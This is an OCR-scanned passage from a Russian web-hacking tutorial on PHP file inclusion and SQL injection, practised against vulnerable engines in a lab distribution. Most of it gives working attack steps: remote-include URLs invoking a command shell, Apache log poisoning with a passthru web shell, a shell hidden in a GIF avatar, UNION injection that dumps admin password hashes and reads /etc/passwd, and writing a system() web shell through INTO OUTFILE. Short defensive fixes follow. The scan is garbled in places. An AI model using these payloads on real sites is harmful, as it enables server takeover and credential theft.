прочих пользователей. Чтобы вы знали, какие цифры следует вводить, изучите следующий перечень: 0 — никаких разрешений; 1 — только исполнение; 2 — только запись; 3 — запись и исполнение; 4 — только чтение; 5 — чтение и исполнение; 6 — чтение и запись; 7 — все права (чтение, запись и исполнение). Суперпользователь (пользователь root) может изменить права доступа к любому файлу вне зависимости от того, кем он создан. Однако вернемся к веб-шеллу и командам системы. Вы можете посмотреть командой cat содержимое любого файла, к которому у вас есть доступ на чтение. Например, команда cat /etc/passwd выведет на экран файл /etc/passwd. Конечно,
46 04. РНР-инклуд в нашем веб-шелле команду надо набирать так: cat$IFS/etc/passwd или в переделанном варианте так: cat+/etc/passwd. Теперь вы знаете некоторые наиболее часто употребляемые хакерами *nix- команды, а также имеете некоторое представление о правах доступа в *nix. Краткий список команд можно найти в приложении 1. Реальный пример РНР-инклуда — движок NaboPoll В установленном в нашей системе движке для проведения опросов NaboPoll (в модуле survey.inc.php, параметр path) имеется уязвимость, допускающая глобальный (а также, разумеется, локальный) инклуд файлов. Для эксплуатации данной уязвимости наберите в адресной строке браузера, например, такую команду: http: //1ocalhost/webexploi tati on_package_02/nabopol1/survey.i nc.php?path=http:// 1 ocalhost/cmd.php?cmd=ls?00 Результат показан на рис. 04.6. location ?dit View ?o &QOkmai1cs, Tools Settings Window Help ?> location \ x 4 m \f http //localhost/webexploitation_package_02/nabopoll/survey inc php?path=http7/localho!>t'cmd php?c m Is base beef cmd.php cmd.php- cmd.pI cmd.pl- cmd.txt images index.php info.php inj .php inj .php~ manual my. p hp olate phpmyadmin unicornscan webexploitation_packageJ)l webexploitation_package_02 Page loaded i Рис. 04.6. Выполнение команды Is через уязвимость в одном из модулей NaboPoll
Создание хакерского веб-шелла в логах Apache через локальный инклуд 47 Создание хакерского веб-шелла в логах Apache через локальный инклуд Рассмотрим более изощренное применение локальной инъекции, а именно — создание веб-шелла, действующего через логи (журналы) сервера Apache. Известно, что apache ведет лог-файлы httpd-access.log и httpd-error.log, причем туда записываются все запросы к веб-серверу (нормальные запросы попадают только в access.log, а запросы с ошибкой, помимо этого, еще и в error.log). У нас в DVL файлы журналов называются немного иначе: access_log и error_log, и находятся они в каталоге /usr/local/apache/logs. Таким образом, мы можем просмотреть access_log через созданное ранее мини-приложение, уязвимое для локального инклуда. Вводим в браузере адрес: httpd://1 оса1 host/i ndex.php? page=./../../logs/access_log^00 На экране должно отобразиться содержимое файла access_log. Запускаем консоль щелчком на значке с черным монитором (второй слева на нижней командной панели). Далее в консоли по протоколу telnet подключаемся к порту 80 локального компьютера: telnet 127.0.0.1 80 В ответ на приглашение программы вводим следующее: GET <pre><?passthru($_GET['cmd,]);?></pre> HTTP/1.1 Хотя после нажатия клавиши Enter появится сообщение об ошибке 400 (рис. 04.7), при этом программный код нашего веб-шелла, а именно <pre><?passthru($_ GET[' cmd' ]); ?></рге>, пропишется в журналы access_log и error_log примерно таким образом: файл error_log: [error] [client 127.0.0.1] Invalid URI in request GET <pre><?passthru($_ GET['cmd,]):?></pre> HTTP/1.1 файл access-log: 127.0.0.1 - - [30/Jun/2010:13:00:40 +0200] "GET <pre><?passthru($_GET[,cmd']);?></ pre> HTTP/1.1 Ошибаться при вводе команд веб-шелла нельзя, так как, даже если со второго раза вы все введете правильно, интерпретатор РНР дойдет до первой записи в журнале, выдаст ошибку, а последующие команды исполнять не будет. В нашей системе мы, конечно, можем подправить файл access_log, но в реальной жизни такое невозможно. В некоторых системах параметры, передаваемые вызовом GET, фильтруются. В этом случае вам потребуется ввести веб-шелл в поле Referer или User-Agent, как показано далее (в нашей системе это проделывать не надо!): # telnet 127.0.0.1 80 Trying 127.0.0.1... Connected to local host. продолжение &
48 04. РНР-инклуд Escape character is ,A]'. GET / HTTP/1.1 Accept: */* Accept-Language: en Accept-Encoding: deflate User-Agent: Lynx/2.8.5rel.1 libwww-FM/2.14 Host: 127.0.0.1 Connection: Close Referer: http://127.0.0.l/<pre><?passthru($_GET['cmd']):?></pre> Рис. 04.7. Вставляем веб-шелл в логи Apache После этого надо два раза нажать клавишу Enter. В данном случае мы передали наш код в поле Referer. Аналогично можно передавать код в поле User-Agent. Далее можно вводить команды в браузере: httpd://1ocalhost/i ndex.php?page=./../../Iogs/access_log?00&cmd=ls+-la Наш веб-шелл вместо пробела понимает знак +,*поэтому мы ввели команду Is -la. Можно вводить несколько команд через точку с запятой. После этого на экране отобразится содержимое файла access_log, а после него — результат выполнения команды (рис. 04.8). С файлом ошибок error_log поступаем аналогично. Кроме того, если на сервере работает ftpd (сервер доступа по протоколу FTP), то можно проделать примерно то же, что и с логами Apache, только для другого лог-файла (к примеру, код веб- шелла передать в качестве логина). Такие манипуляции допустимы и с файлами, которые создают гостевые книги, форумы и прочие скрипты, сохраняющие информацию в файлах с расширениями .txt, .log и т. д. Еще есть вариант, связанный с включением кода в изображение. Рассмотрим пример с локальным инклудом. Предположим, имеется некий форум. Берем наш
Реальное местоположение логов 49 Location fcdit Jfl I E> Location $» 127.0.0.1--I sw ?o ftookmartc* JooK Settings Window Jjdp httpV/localhos IP* ч **\, ш .; ,' /log st а с 27/jun/2010:19i27:41 +0000] " Щ 00&cmd»id,uname+ -a.pwd,ls+-la • J GET /cmd.php?cmo>ls HTTP/1.Г 200 284 127.0.0.1 Ш - - [27/jun/2010:19:27:53 +0000] "GET/cmd.php?cmd«ls$[FS-la HTTP/1.1" 200 1439 127.0.0.1 - ¦ [27/jun/2010:19:35:07 +0000] "GET/ HTTP/1.1" 408 "GET / HTTP/1.1" 200 451 127.0.0.1 1 uid=99(nobody) gid= 6.20-BT- =98 (nobody - 127.0.0.1 - - [27/]un/2010:19:38:04 +0000] - - [27/Jun/2010:19:40:54 +0000] "GET groups*98(nobody) PwnSauce-NOSMP #: 1 /usr/local/apache/htdocs total 61 1 drwxr-xr-x 1 drwxr-xr-x 1 drwxr-xr-x 1 drwxr-xr-x 1 -rw-r--r-- I -rw-r--r-- 1 -rw- r--r- - I -rw-r--r-- I -rw-r--r-- I -rw-r -r-- 1 -rw-r--r- I - rw - r - - r - - I drwxr-xr-x I -rw-г--r-- ЬЛЬШн 1 Page loaded 11 root 10 root 13 root 10 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 2 root 1 root ,^л?1 ***t#*4M*a* root 380 root 107 root 936 root 107 root 62 root 37 root 81 root 79 root 79 root 51 root 49 root 109 root 60 root 66 Jun 25 Jan 18 Jan 18 Jan 18 Jun 16 Jun 16 Jun 16 Jun 16 Jun 16 Jun 25 Jun 25 Jun 25 Jun 17 Jun 15 1 Sat Feb 24 15:52:59 GMT 2007 i686 i686 i38|| 10:17 2009 2009 2009 17:08 16:53 16:08 16:08 16:07 00:42 00:41 07:19 15 .49 22:42 base Щ beef cmd.php cmd.php- cmd.pI cmd.pl- cmd.txt cmd2.php cmd2.php~ form.html images index.php ГОО|24 Jan 18 2009 info.oho ^ HHHHHr^ U? ¦ щ 1 Рис. 04.8. Работа веб-шелла в журнале accessjog веб-шелл <pre><? passthru($_GET['cmd']) ;?><рге>, переименовываем в avatar.gif и закачиваем, а далее делаем запрос на форум: http://[target]/forum.php?page=./. ./smileys/avatar.giffcOO&cmchls В результате мы получаем листинг текущего каталога. Если же на форуме проверяется, является ли файл avatar.gif картинкой, можно просто взять реальную картинку и добавить наш код в ее конец при помощи какого-нибудь двоичного редактора или даже Блокнота. Реальное местоположение логов В различных системах журналы веб-сервера могут находиться в разных каталогах и называться по-разному. Вот небольшой список: /logs/error.log /logs/access.log /logs/error_log /logs/access log ~ продолжение &
50 04. РНР-инклуд /var/log/errorjog /var/log/access_log /var/log/error.log /var/log/access.log /var/www/1ogs/errorj og /var/www/logs/error.log /var/www/1ogs/access_log /var/www/1ogs/access. log /var/log/apache/errorjog /var/log/apache/error.log /var/1 og/apache/access_log /var/log/apache/access.log /var/log/httpd/error.log /var/log/httpd/access.log /var/log/httpd/errorjog /var/log/httpd/access_log Защита от удаленного инклуда Чтобы защититься от удаленного инклуда, рекомендуется перечислить все допустимые названия страниц в программе с использованием инструкции множественного выбора (switch case). Вот соответствующий РНР-код: <?php global $page; switch ($page) { case '': include ("pages/main.php"); break; case 'index': include ("pages/main.php"); break; case 'pagel'; include ("pages/pagel.php"); break; case 'page2': include ("pages/page2.php"); break; default: include ("pages/error.php");
Защита от локального инклуда 51 break; } ?> Также многие программисты отфильтровывают нежелательные символы с помощью функции str_replace(). Кроме того, настоятельно рекомендуется отредактировать файл php.ini следующим образом: allow jjrl_include = Off // запрещаем удаленно инклудить файлы allow_url_fopen = Off // запрещаем fopen открывать ссылки register_globals = Off //отключаем инициализацию глобальных переменных magic_quotes_gpc = On // защита от "ядовитого нуля" Ц00) safejrode = On // включаем режим safejnode. в результате у хакера // не будет доступа к файлу /etc/passwd и ему подобным. Защита от локального инклуда Вот небольшой пример РНР-кода, позволяющего защититься от локального инклуда: <?php function strips"!ashes_for_array(&$array) { reset(Sarray): while (list($key, $val) = each($array)) { if (is_string($val)) $array[$key] = stripslashes(Sval); elseif (is_array($val)) $array[$key] = stripslashes_for_array($val); } return Sarray; f (!get_magic_quotes_gpc()) stripslashes jfor_array($_POST); stripslashes_for_array($_GET); if(isset($_GET[,file,]))$file=$^GET[,file']; else if(isset($_POST[,file,]))$file=$_POST[,file']; else $file-''; $file=str_replace(7'.'' ,$file); $file=str replaceC .', " ,$file); ~ продолжение &
52 04. РНР-инклуд if(!file_exists("include,,.7,.$file.,.php,)||$file —'index') { $file-'news'; } includeCinclude". 7' .$file.'.php'): ?> Что здесь происходит? Каждый элемент массива проверяется функцией stri psl ashes (), которая удаляет обратные слеши. Далее проверяем, установлено ли значение элемента массива. Отфильтровываем недопустимые символы ( 7' и '.') функцией str_repl ace(). Если файла не существует (проверяем с помощью функции f i 1 e_exi sts ()), то присваиваем значение переменной $f i 1 е=' news'. Затем включаем нужный файл. Также полезно сделать логи веб-сервера доступными пользователю, от имени которого выполняется веб-сервер, только для записи, но не для чтения. Это исключит применение инклуда к данным логам.
05 SQL-инъекция SQL-инъекцию мы будем изучать на примере движка Cyphor. Он находится по адресу http://localhost/webexploitation_package_02/cyphor/ и выглядит так, как показано на рис. 05.1. location ?dit View fio gookmarfcs Tools Settings JfiMndow Help * Ч ч : E> Location gg> http//localhostywebexploitation_package_02/cyphor/ * Lj My Discussions ^ registered users | Most active user: admin (0 posts) 11 и Login Guest access granted, You have to register if you want to post messages. Username: Password: l-°9'n x Remember (needs cookies) Search Find: in Field: Text > jn Forum: Forums |Fcfvm»Oycnii^|ljaJulR«aigt<>rlU»tw>MrB»a«w»nl? _________________„ Cyphor (йеКнюе: 0.19, PHP 4.4.4)] Рис. 05.1. Вход в Cyphor Для начала отредактируем файл newmsg.php. Откройте его в редакторе Kate, найдите недалеко от начала файла строку с вызовом функции exitO, вставьте перед ним знак решетки # (на рис. 05.2 нужная строка выделена серым) и сохраните файл. Это изменение позволит работать с файлом newmsg.php в браузере без предварительного входа пользователя в Cyphor. Я сделал это, потому что в установленной у меня версии Cyphor есть серьезные проблемы с регистрацией и входом пользователей. Итак, у меня есть информация, что в модуле newmsg.php имеется SQL-инъекция в параметре fid (идентификатор форума). Но что такое SQL-инъекция
54 05. SQL-инъекция п<? НА erstctlt'h uki, ersteJ лег 2ВОв ft .// Mogliche Par у ¦ ¦ // pid: lt> tier Hechri antworttt wird. h fici Lnclude/dbiysql.php"); {"include/settings.php"); nclude/glotoml.php"); $lang_file ¦ "lang/" . $language . ",php": : sng_file); opensessionf |; i f ( $logm && |past) login) i'logm, { exit_page_with_msg{$terr_noT_T.ogged_in, "index.php", |t_login); Рис. 05.2. Начало файла newmsg.php (SQL-injection)? Кратко — это возможность выполнения операторов языка SQL, вводимых хакером. Язык SQL (Structured Query Language — структурированный язык запросов) служит для создания запросов к базам данных. Оператор SELECT позволяет извлекать данные из таблиц. Например, запрос SELECT id, password FROM users извлекает поля id и password из таблицы users, а запрос SELECT * FROM users — все поля из таблицы users. Эти операторы используются в веб-страницах, чтобы извлекать данные из таблиц базы данных (например, имена и пароли пользователей). Другие SQL-операторы, такие как INSERT (вставить новую запись) и UPDATE (обновить, то есть изменить существующую запись), тоже иногда используются хакерами, но мы их пока рассматривать не будем. Оператор UNION позволяет объединять два запроса. Выглядит это следующим образом: SELECT fid. title FROM forums UNION SELECT nick, password FROM users Количество полей в обоих запросах должно фыть одинаковым, иначе система выдаст ошибку. Таким образом, с помощью оператора UNION хакер может присоединить свой запрос к существующему и извлечь ценную информацию, например имя и пароль пользователя. Это возможно, если параметр из строки адреса, передаваемый в запрос SELECT, не фильтруется должным образом. Количество полей в добавляемом хакером запросе определяется экспериментально — пока система не перестанет выдавать сообщение об ошибке. Вместо имени поля в запросе может стоять просто число (1,2, 3...), строка символов (если в таблице соответствующее поле имеет строковый тип), пустое значение (nul 1) или любая SQL-функция. При подборе обычно удобно использовать числа. Если не указать имя таблицы (параметр FROM), выборка в присоединенном нами запросе будет делаться из той же таблицы, что и в первом запросе. Однако из хакерских источников известно, что данные о пользователях хранятся в таблице cyphorusers,
SQL-инъекция 55 в которой есть поля nick (логин) и password (пароль). Поэтому наш первый запрос будет выглядеть так: union select l from cyphor_users А полностью строка адреса должна выглядеть следующим образом: http://1ocalhost/webexploitation_package_02/cyphor/newmsg.php?fid=-1 union select 1 from cyphor_users Часто в конец запроса добавляют символы комментария, чтобы отсечь конечную часть запроса, вводимую системой. В диалекте языка SQL, используемом в системе управления базами данных (СУБД) MySQL, в качестве символов комментария обычно применяются знаки /* (в некоторых системах - -), но у нас и так все будет работать. Результат показан на рис. 05.3. ЩШШШШШШШШШШШШШШШШШШШШШШШЕ^^ I location ?dit yiew &o JJpokmarks Jools Settings Window Help I 1Э Location fl^> hobt/webexploitBtion_package_02/cyphor/newmsg.php?fld«==l%20union%20select%201%20from%20cyphor_ubi?rs' *'¦¦ Lj I I Not logged in! I LoginMySQL Error: Invalid SQL: SELECT * FROM cyphorforums WHERE id=l union select 1 from I I cyphorusers J Database error: 1222 (The used SELECT statements have a different number of columns) I Please contact us [admin(3)domain.extl and specify the exact error message. I Session halted. Page loaded Рис. 05.3. SQL-инъекция в модуле newmsg.php Такое сообщение об ошибке на самом деле свидетельствует о том, что SQL- инъекция действительно присутствует — система выдала на экран объединенный запроб (свой и наш), а «ругается» она только из-за того, что количество столбцов в запросах разное. Как вы могли заметить, система заменила в строке адреса каждый пробел кодом символа пробела (И20). Если система не распознает пробел в запросах, можно заменить его знаком плюс (+) или последовательностью /**/, означающей начало и конец комментария. Что ж, далее будем добавлять параметры по одному через запятую. Когда дойдем до четырех (union select 1.2.3.4 from cyphor_users), нас будет ждать очередная маленькая радость (рис. 05.4). Страничка отобразится без ошибки, а это говорит о том, что число параметров в обоих запросах совпало.
56 05. SQL-инъекция location gdit Jflew Qo bookmarks loots Settings Window Ijelp \ v \ ** 1Э Location: j^2/cyphor/newmsgphp?fid=l%20union%20select%201,2.3,4%20from%20cyphor users ^ «J Not logged in! Login Line breaks are processed, you don't need to force them through <88> HTML tags wifftie tittered! Links wiff automatically be \generated. New message in forum "2" From: Subject: I Рис. 05.4. Мы подобрали правильное число параметров в запросе UNION SELECT location ?dit yiew Qo bookmarks Tools Settings Window jjelp ч X V * 1Э Location Jg> yphor/newmsg php?fid=l%20union%20select%201,nick.3,4%20from%20cyphor_users * J Not logged in! Login New message in forum "admin" \Line tireaks are processed, you don't need to force them through <8R>. HTML tags wHtbe tittered! Links wilt automatically tie {generated. From: Subject: :Page loaded. Рис. 05.5. Выводим на экран имя пользователя (admin) На экране у нас отображается только параметр с номером 2. Сейчас можно заменить его полем nick (имя поля мы тоже знаем из хакерских источников, то есть просмотрев исходные файлы движка Cyphor). Результат показан на рис. 05.5 (пользователь admin). Теперь меняем параметр номер 2 на password и видим на экране зашифрованный пароль пользователя admi n (рис. 05.6). В Cyphor для шифрования пароля применяется функция crypt (), причем имя пользователя указывается в качестве параметра функции (предварительно имя пользователя приводится к нижнему регистру). Можно написать на языке РНР
SQL-инъекция 57 location ?dit Yieww fio fiookmarks Iools Settings S5?indow fcielp E^ Location ^yr/newmsg php7fid*l%20union%20select%201.password.3.4%20from%20cyphor_users Not logged in! Login iPage loaded New message in forum "ad4ERM.YJ7]9A" Line breaks are processed, you don't need to force them through <BR>. HTML tags wilt be tittered! Links wHt automatica/ty be generated. From: Subject: Рис. 05.6. Выводим на экран зашифрованный пароль пользователя admin программу перебора паролей, но с учетом того, что пароль, имеющий длину в 8 символов, генерируется самой программой Cyphor с использованием букв, цифр и специальных символов, казалось бы, подобрать пароль в разумные сроки нереально. Однако, поскольку пароль зашифрован средствами стандартного алгоритма DES, его можно взломать с помощью весьма быстродействующей программы John The Ripper (см. главу ОС). Ну а что касается пароля, сгенерированного Cyphor (если пользователь не заменил его своим), то его можно взломать вообще моментально (см. приложение 3). Можно также получить версию MySQL (а у нас установлена именно эта СУБД), имя пользователя MySQL и имя базы данных. Для этого служат, соответственно, функции version(), user() и database(). Все три выводимых параметра можно объединить в одном поле с помощью функции concatws: concat_ws(0x3a,version(),user(),database()) Здесь первый параметр — это шестнадцатеричный код разделителя (двоеточия). В результате на экране появится следующее: 5.0.24сГ: root@l оса 1 host: cyphor Для объединения нескольких полей в одном можно также использовать функцию concat, например: concat(name,0x3a,id) Если требуется вывести несколько записей в одном поле вывода, используйте функцию groupconcat, например: group_concat(password) У меня есть уже несколько созданных мною пользователей Cyphor, так что я могу применить эту функцию, чтобы вывести все пароли сразу (через запятую).
58 05. SQL-инъекция Можно также попробовать просмотреть файл /etc/passwd. Для этого используется функция MySQL 1 oad_f i 1 е(' etc/passwd'). Поскольку обычно кавычка фильтруется (также могут фильтроваться слэш и имя файла в целом), применим шестнадца- теричные коды символов: 1oad_fi1е(0x2f6574632f706173737764) Это срабатывает не всегда, но на нашем столь уязвимом Линуксе все получается отлично (рис. 05.7). 1 location ?dit \/iew fio bookmarks Tools ^etttng^ Window Help > \ "4 - I ?> Location ^>n%20^elect%201,load_filr(0x2f6574632f706173737764),3.4%20from%20cyphor ii I Not logged in! I Lasin I INew message in forum "root:x:0:0::/root:/bin/bash bin:x:1:1 :bin:/bin: I daemon:x:2:2:daemon:/sbin: adm:x:3:4:adm:A/ar/log: lp:x:4:7:lp:/var/spool/lpd: I sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0shutdown:/sbin:/sbin/shutdown I halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/: news:x:9:13:news:/usr/lib/news: I uucp:x:10:14:uucp:/var/spool/uucppubiic: operator:x:11:0:operator:/root:/bin/bash ] ! games :x:12:100 :games:/usr/games: ftp:x:14:50::/home/ftp: I smmsp:x:25:25:smmsp:/var/spoo!/clientmqueue: I mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash rpc:x:32:32:RPC portmap I user:/:/bin/false sshd:x:33:33:sshd:/: gdm:x:42:42:GDM:/var/state/gdm:/b!n/bash I |pop:x:90:90:POP:/: nobody:x:99:99:nobody:/: postgres:x:1000:100:Vhome/postgres: " I \Line breaks are processed, you don't need to force them through <BF)> HTML tags wilt be tittered! Links wtif automatically be I xgenerated. I I Page loaded. Рис. 05.7. Вывод содержимого файла /etc/passwd на экран с помощью функции load_file В приложении 2 дополнительно рассмотрены две SQL-инъекции в модуле show, php, а в приложении 4 описан готовый эксплойт для SQL-инъекции в этом модуле. Сейчас мы рассмотрим еще пару полезных примеров обхода ограничений. Предположим, мы нашли в параметре рагат некоторого скрипта следующую SQL-инъекцию: param=l union select 1.2.3.4.5.6.7,8.9.10.11.12.13.14 В процессе подбора количества колонок мы увидели, что скрипт добавляет к концу нашего SQL-предложения еще символы , 1. Вроде бы ничего страшного, просто в конце запроса появился еще один параметр. Но если мы хотим сделать запрос к конкретной таблице, то результирующее SQL-предложение окажется ошибочным: param=l+union+select+1.2.concat(userjiame.0x25. password.0x25. emai1).4.5,6.7.8.9.10 .11.12.13.14.15 from p_user .1 Предположим, мы сделали попытку закомментировать добавляемую системой часть запроса, указав в конце символы комментария (-- или /*), но это не сработало. Что делать? Я предлагаю использовать опцию LIMIT, которая допускает
SQL-инъекция 59 указание двух числовых параметров через запятую. Тогда наш запрос будет выглядеть так: param=l+union+select+1.2.concat(user_name.0x25. password.0x25. emai1).4.5,6.7.8.9.10 .11.12.13.14,15 from p_user LIMIT 0 А результирующий запрос после добавления в конце символов . 1 примет допустимый с позиций языка SQL вид: param=l+union+select+1.2.concat(user_name.0x25. password.0x25. email),4.5.6.7.8.9.10 .11.12,13.14. 15 from pjjser LIMIT 0,1 И еще один пример на базе предыдущего. Если бы в сценарии добавлялось просто число 1 (без запятой впереди), можно было бы использовать условие WHERE: param=l+union+select+1.2.concat(userjiame.0x25. password.0x25. email).4.5,6.7,8,9.10 ,11,12.13.14.15 from p_user WHERE 1= Тогда результирующий запрос принял бы следующий вид: param=l+union+select+1.2.concat(user_name.0x25, password.0x25. email).4,5,6,7,8.9,10 .11.12,13.14,15 from p_user WHERE 1=1 Условие WHERE 1=1 с точки зрения синтаксиса языка SQL (где 1 = 1) является правильным и выполняется всегда, поэтому дополненный запрос будет работать нормально. Если в запрос подставляется конкретное значение, например id=31, то иногда хакеру приходится использовать арифметические операции (-, +, *, /), чтобы получить нужное значение параметра (например, 1 или 0). Кроме того, иногда хакер может отрезать добавляемый системой запрос с помощью комментария (/* или --). Если количество открывающих скобок при этом превышает количество закрывающих, хакеру нужно постараться добавить в свой запрос недостающие скобки (с сохранением правильного синтаксиса SQL). Другой пример касается того, как получить данные из SQL-запроса, когда вроде бы уже подобрано правильное количество столбцов в union select, а система не желает выводить информацию, например значение функции versi on (). Если сообщения об ошибках выдаются достаточно подробные, иногда можно получить искомый номер версии в спровоцированном сообщении об ошибке. Делается это так: http: /Vsite.com/i ndex.php?show=news&i d=-1+uni on+select+concat(ОхЗаЗаЗаЗа.versi on()), 2.3,4,5.6.7,8.9/* Здесь функция concat ставит перед значением версии четыре двоеточия подряд (0x3а — шестнадцатеричный код двоеточия). Зачем это сделано? Чтобы вызвать ошибку. Система отвечает сообщением: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '::::5.0.19 ORDER BY fp DESC at line 1 А в этом сообщении об ошибке после четырех двоеточий и располагается искомый номер версии MySQL, в данном случае — 5.0.19.
60 05. SQL-инъекция Точно так же можно получить имя пользователя MySQL (функция user()) и тип операционной системы на сервере — значение переменной @@version_compile_os. Получение информации из базы данных В этом разделе мы научимся с помощью оператора select .. into outfile извлекать из базы важную информацию и записывать ее в выводимый файл, а в следующем разделе будем учиться создавать веб-шелл. Для начала в консоли зайдите в каталог/usr/local/apche/htdocs/ и выполните команду chmod 777 cyphor. Эта команда разрешает запись всем пользователям в каталог cyphor. Это нужно, чтобы создавать файлы в этом каталоге. В реальной жизни у пользователя nobody, от имени которого выполняется Apache, обычно есть право записи в каталог, где хранится сайт. Иногда право на запись есть не в основной каталог сайта, а в один из вложенных каталогов, например images или include. В каждом случае это надо выяснять экспериментально. Команда sel ect ...i nto outf i 1 e выводит информацию, выбираемую запросом SELECT, в выводимый файл. В качестве основы нашего примера используем SQL-инъекцию в модуле newmsg.php. Следующий запрос выведет информацию обо всех пользователях Cyphor в файл user.txt в каталоге форума: select l,concat_ws(0x3a.nick.password).3.4 from cyphor_users into outfile 7usr/ local/apache/htdocs/webexploitation_package_02/cyphor/user.txt' Полностью этот запрос будет выглядеть так: http://1ocalhost/webexploi tati on_package_02/cyphor/showmsg.php?fi d=-1 union select 1. concat_ws(0x3a.nick.password).3.4 from cyphor_users into outfile 7usr/local/ apache/htdocs/webexploi tati on_package_02/cyphor/user.txt' Если вы все ввели правильно и запрос выполнился без ошибок то открыв в браузере файл http://localhost/webexploitation_package_02/cyphor/user.txt, вы увидите на экране информацию обо всех пользователях (рис. 05.8). В данном случае у нас всего один пользователь — admin. location ?dit View ?о bookmarks Tools Settings Window Help I , r < ^ ч S3 О Location: ^> http./;iocalhost/webexploitation_package_02/cyphor/user txt * J |l. admin:ad4ERM.YJ7]9A. 3. 4 Retrieving 26 В from localhosl Рис. 05.8. Файл с информацией о пользователях Cyphor
Создание веб-шелла 61 Как вы уже заметили, цифры из запроса тоже попали в файл. Если мы хотим, чтобы он выглядел аккуратнее, можно вместо цифр использовать пустые значения (nul 1). Также здесь при желании можно задействовать все 4 поля, выводимые запросом (когда ранее мы применяли эту инъекцию для вывода данных на экран, у нас отображалось только содержимое поля номер 2). Выводить информацию в файл удобно, если нужно извлечь из базы сразу все записи и таких записей очень много. Создание веб-шелла Теперь мы рассмотрим, как с помощью функции outfile создать хакерский веб-шелл. Для начала мы должны закодировать текст нашего шелла с помощью функции hex. Вызвать ее можно непосредственно на уязвимом сайте. Для этого в запрос union select 1.2.3.4 вместо второго параметра вставляем следующее: hex("<рге><? system($_GET['cmd']);?></рге>") На рис. 05.9 вы видите результат выполнения функции, кодирующей текст веб- шелла. location Edit View ?o ftookmarks Tools Settings J^tndow Help *> Ч "ч E> Location ^ http //localhost/webexploitation_package_02/cyphor/newmsg php?fid=-l%20union%2 Not logged in! Login New message in forum "3C7072653E3C3F2073797374656D28245F4745545B27636D64275D293B3F3E3C2F7072653E" Line breaks ere processed, you don't need to force them through <Bft>. HTML tegs witfbe tittered! Links wi/f sutomitica/ty be generated. From: Рис. 05.9. Кодируем текст веб-шелла функцией hex Скопируйте этот текст (без кавычек) в буфер обмена, после чего подготовьте текст запроса и вставьте в него текст из буфера, предварительно поставив перед ним символы Ох (признак шестнадцатеричного значения). Полностью запрос будет иметь следующий вид (все записывается в одну строку): http://1ocalhost/webexploitation_package_02/cyphor/showmsg.php?fid=-1 union select 0 X3C7072653E3C3F2073797374656D28245F4745545B27636D64275D293B3F3E3C2F7072653E .null.null.null into outfile 7usr/local/apache/htdocs/webexploitation_package_02/ cyphor/shell.php' После того, как запрос выполнится и наш хакерский веб-шелл запишется в файл shelLphp, следует перейти по нужному адресу, после чего можно выполнить любую команду, например: http: //localhost/webexploitation_package_02/cyphor/shell.php?cmd=ls+-la
62 05. SQL-инъекция ^ШШШШШШШЁ 1 Location ?dit View Ў E> Location i?http i 1 total 74 1 drwxrwxrwx 9 I drwxr-xr-x 19 [ drwxr-xr-x 2 1 . rw - r - - г - • 1 1 drwxr-xr-x 2 | Pagelo; io ащлшим!» root root root root root root root root root root ¦m^:mWi^;rama^g«3g^^ loot* Settings Window jje«p ч -\ x oitation_package_ 02/cyphor.'shell php?cmd=«ls+-Ja 100 May 22 16:36 . 366 Jan 18 2009 .. 281 Jan 18 2009 admin 3617 Jan 18 2009 cyphor.css 69 Jan 18 2009 doc Щ • . ! 2 ! " Рис. 05.10. Хакерский веб-шелл успешно работает Результат показан на рис. 05.10. Хакеры, желающие поставить под свой контроль максимальное количество сайтов, пишут сценарии, автоматизирующие подбор количества параметров в SQL-инъекции. Это помогает существенно сэкономить время, потому что количество столбцов иногда может достигать нескольких десятков. Как стать экспертом в области SQL-инъекций? Надо больше тренироваться. Найдите в Интернете и опробуйте на практике известные уязвимости для уже установленных в DVL популярных веб-движков (искать следует по запросу: название_и_версия_движка sql injection). Иногда уязвимости обнаруживаются в модулях, которых нет в наших версиях. Тогда можно поискать эти дополнительные модули в Сети. Можете также загрузить из Интернета и установить в своей системе другие уязвимые движки (например, ComicShout v.2). Защита от SQL-инъекции И теперь, по традиции, я расскажу, как защитить себя от SQL-инъекции. Программная защита проста, мы ее рассмотрим на примере модуля show.php форума Cyphor. В этом модуле есть такая строка: $message_mode = 1; После этой строки нужно добавить следующий код: $id = intval($id); if (!$id) { die("<br><hl>Hacking attempt!"</hl>); } Мы здесь преобразуем значение, полученное из параметра id, в целое число и проверяем, преобразовалось ли оно. Если нет, то завершаем работу модуля с сообщением о попытке взлома. Результат работы исправленного модуля показан на рис. 05.11.
Защита от SQL-инъекции 63 I location ?<Jit ^iew Qp ?ookmarks Tools Settings Window J^elp - \ ч - Ш I E> Location j|^ord,8.id.l0%20from%20cyphor,uwr»%20iwtwre^. I Hacking attempt! 1 Page loaded Рис. 05.11. Наша защита модуля show.php в действии Разумеется, аналогичной очистке нужно подвергнуть и параметр fid, а также параметры в других модулях форума. В случае если передаваемый параметр имеет строковый тип, защиту организовать немного сложнее. Вот достаточно универсальный фильтр от инъекций: $text_to_check = mysql_real_escape_string ($_GET[Mзапрос"]); $text_to_check - strip_tags($text_to_check); $text_to_check - htmlspecialchars($text_to_check); $text_to_check = stripslashes($text_to_check); $text_to_check = adds1 ashes($text_to_check); $_GET["3anpoc"] - $text_to_check; Можно также специально искать в запросе ключевые слова языка SQL, такие как select, union, order, char, where, from. Отключение режима вывода на экран ошибок, возникших при неверном запросе, серьезно усложняет задачу хакеру. Чтобы отключить режим вывода ошибок, достаточно написать следующее (например, в файле подключения базы данных): ini_set('display_errors', 'О'); С целью обеспечения конфиденциальности логина и пароля для доступа к базе данных функции подключения к базе данных лучше хранить в отдельном файле и подключать его на каждой странице сайта. Старайтесь проверять результат каждого запроса на выполнение и на количество найденных записей. Если их количество оказывается равным нулю, перенаправляйте пользователя, например, на главную страницу, это обеспечит хорошую защиту от SQL-инъекций. Вот пример на языке РНР 5: Ssection = $_GET[section]; // Читаем параметр Sresult = mysql_query ("SELECT * FROM 'tbljiame* WHERE 'section' = Ssection "); // Выполняем запрос if (!$result || mysql_num_rows (Sresult) == 0) { // Запрос не был выполнен // или кол-во найденных полей = О продолжение J
